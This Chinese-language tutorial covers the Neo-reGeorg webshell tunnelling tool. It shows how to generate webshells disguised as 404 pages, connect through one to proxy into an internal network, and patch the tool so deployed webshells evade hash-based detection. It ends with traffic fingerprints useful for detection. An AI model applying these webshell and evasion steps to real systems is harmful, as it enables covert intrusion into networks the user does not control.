浅谈隧道搭建工具之Neo-reGeorg

 

简单介绍

》》网址《《
Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,特性:

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
  • 支持内网转发,应对负载均衡环境

命令行分为两大块,服务端生成命令块客户端命令块

对于攻防来讲,公开的工具都需要自定义修改,关键时刻才能使用。

 

基础功能分析

服务端生成

命令行介绍:

D:\Neo-reGeorg-2.3.2>python3 neoreg.py generate -h
usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]

Generate neoreg webshell

optional arguments:
  -h, --help            show this help message and exit
    // 指定连接密钥。 就是连接时的密码
  -k KEY, --key KEY     Specify connection key. 
    // 生成的webshell存放的目录
  -o DIR, --outdir DIR  Output directory.
    // 参照的模板html文件,一般下载目标的404、403页面作为模板。
  -f FILE, --file FILE  Camouflage html page file
    // webshell的响应码,建议对应模板。
  -c CODE, --httpcode CODE
                        Specify HTTP response code. When using -r, it is
                        recommended to <400. (default: 200)
    // 数据交互时,一次读取多少bytes字符
  --read-buff Bytes     Remote read buffer. (default: 513)

新增的404页面生成功能对于隐藏服务端文件挺好的思路,实战时直接下载目标的404页面即可当作模板。

// 连接密码langke、模板文件404.html、响应码:404
#>:python3 neoreg.py generate -k langke --file 404.html --httpcode 404

生成失败,未给出原因:

D:\Neo-reGeorg-2.3.2>python3 neoreg.py generate -k langke -f 404.html -c 404

·······


    [ Github ] https://github.com/L-codes/neoreg

    [+] Create neoreg server files:
[ERROR              ]  Failed to read file: 404.html

自己定位到相关位置,查看错误原因:

488行添加打印报错代码得知,python3默认使用GBK打开模板文件404.html,只需要在486行打开文件时,用utf-8格式打开文件即可:

484 def file_read(filename):
485     try:
486         with open(filename, encoding="utf-8") as f:
487             return f.read()
488     except Exception as e:
489         print(e)
490         log.error("Failed to read file: %s" % filename)
491         exit()

自动在工具根目录生成文件夹neoreg_servers,里边包括key存放文件,和ashxaspxjspjspxphp等类型的webshell服务端。选择目标服务器可解析格式上传。

客户端

命令行介绍:

D:\Neo-reGeorg-2.3.2>python3 neoreg.py -h
usage: neoreg.py [-h] -u URI [-r URL] -k KEY [-l IP] [-p PORT] [-s] [-H LINE]
                 [-c LINE] [-x LINE] [--local-dns] [--read-buff Bytes]
                 [--read-interval MS] [--max-threads N] [-v]

Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k
(debug_all|debug_base64|debug_headers_key|debug_headers_values)

optional arguments:
  -h, --help            show this help message and exit
    // 指定webshell地址
  -u URI, --url URI     The url containing the tunnel script
    // 指定内网转发的webshell地址,就是通过目标及连接目标内网的webshell。
  -r URL, --redirect-url URL
                        Intranet forwarding the designated server (only
                        jsp(x))
    // 指定webshell的连接密码
  -k KEY, --key KEY     Specify connection key
    // 连接到目标内网的代理,在本地监听的IP
  -l IP, --listen-on IP
                        The default listening address.(default: 127.0.0.1)
    // 代理监听的端口,选择一个未使用的即可
  -p PORT, --listen-port PORT
                        The default listening port.(default: 1080)
    // 跳过可用性测试,如果生成webshell时使用了模板,即-f参数,连接时此参数必须。
  -s, --skip            Skip usability testing
    // 自定义请求头
  -H LINE, --header LINE
                        Pass custom header LINE to server
    // 自定义cookie
  -c LINE, --cookie LINE
                        Custom init cookies
    // 前置代理,连接webshell之前需要连接的代理
  -x LINE, --proxy LINE
                        Proto://host[:port] Use proxy on given port
    // 使用本地搭建的DNS服务器解析域名。
  --local-dns           Use local resolution DNS
    // 每个post请求发送的最大数据量。
  --read-buff Bytes     Local read buffer, max data to be sent per
                        POST.(default: 2048 max: 2600)
    // 读取数据间隔(毫秒)。
  --read-interval MS    Read data interval in milliseconds.(default: 100)
    // 代理最大线程数。本地搭建的连接到目标内网的代理,最多可连接多少个。
  --max-threads N       Proxy max threads.(default: 1000)
  -v                    Increase verbosity level (use -vv or more for greater
                        effect)

连接服务端

// 代理监听在本地的1081端口,前置代理使用本地的8080端口,主要是为了把流量转发到burp上,方便查看。
python3 neoreg.py -k langke -u http://192.168.4.100/tunnel.php -p 1081 -x http://127.0.0.1:8080 -vv
// 代理搭建成功
netstat -ano | findstr /i 1081
  TCP    127.0.0.1:1081         0.0.0.0:0              LISTENING       7784

使用代理
Proxifier配置代理:SOCKS5://127.0.0.1:1081
通过代理,连接目标内网主机192.168.4.7的22端口:

类方法解释

在开始之前,先来分析一下脚本功能逻辑。

全局变量解释:

主要类函数解释:

核心类解释:

 

数据交互过程

暂以php为例

neoreg的数据交互过程大概是这个样子,socks代理数据是包裹在http协议里边的,对方能抓到的,http协议相关数据包和web服务器向目标建立的socks连接。
站在攻的角度,先来聊聊本机和web服务器之间得数据包得特征隐藏。

 

文件特征

首先,是上传webshell阶段。检测木马文件最常用得办法就是文件hash了,所以生成webshehll服务端时,可以通过设定不同的-k、-f和-c参数修改默认值,从而避开hash检测。

-k:主要影响webshell文件中的随机字符串,主要位置在headers的键值。
-f:主要影响webshell文件最后位置,exit函数运行结束后打印的html代码。
-c:主要影响webshell文件设定的响应状态码。

然后就是webshell的文件名了,这个并未提供参数,添加一个。

// 558行添加
parser.add_argument("-n", "--filename", metavar="FILENAME", help="webshell name", default="tunnel")
// 739行下面添加
            outfilename = filename.replace('tunnel.', args.filename + '.')
            outfile = os.path.join(outdir, outfilename)
// 770行改为入下
outfile = os.path.join(outdir, filename.replace('tunnel.', args.filename + '_compatibility.'))

使用时加-n 参数即可,如果不加-n参数,默认文件名为tunnel

 

流量特征

由于作者采用随机数方法,所以流量特征并不是很明显。主要有以下几点:

  • 如果生成webshell时,未加-f参数,访问webshehll时,响应体是如下格式,中间字符串长度不固定。并且除此之外,无其他字符。
    <!-- cMI1RecF6sIAaPpB3or1QxCmxO -->
    
  • 每次利用代理连接目标时,请求头中都是有一个键名随机长度,值为目标IP和端口的自定义base64加密结果,不过,长度和正常base64加密后的数据长度一样。
    内网IP加端口最长28个字符,最短16个字符
  • 还有就是,一般header头的键都是可读的,而工具随机生成的键名会显得突兀。
    Rjuclkefrmdnyws
    Ihxsrramyvbzuciw
    Mbwqvjrtbrsq
    
(完)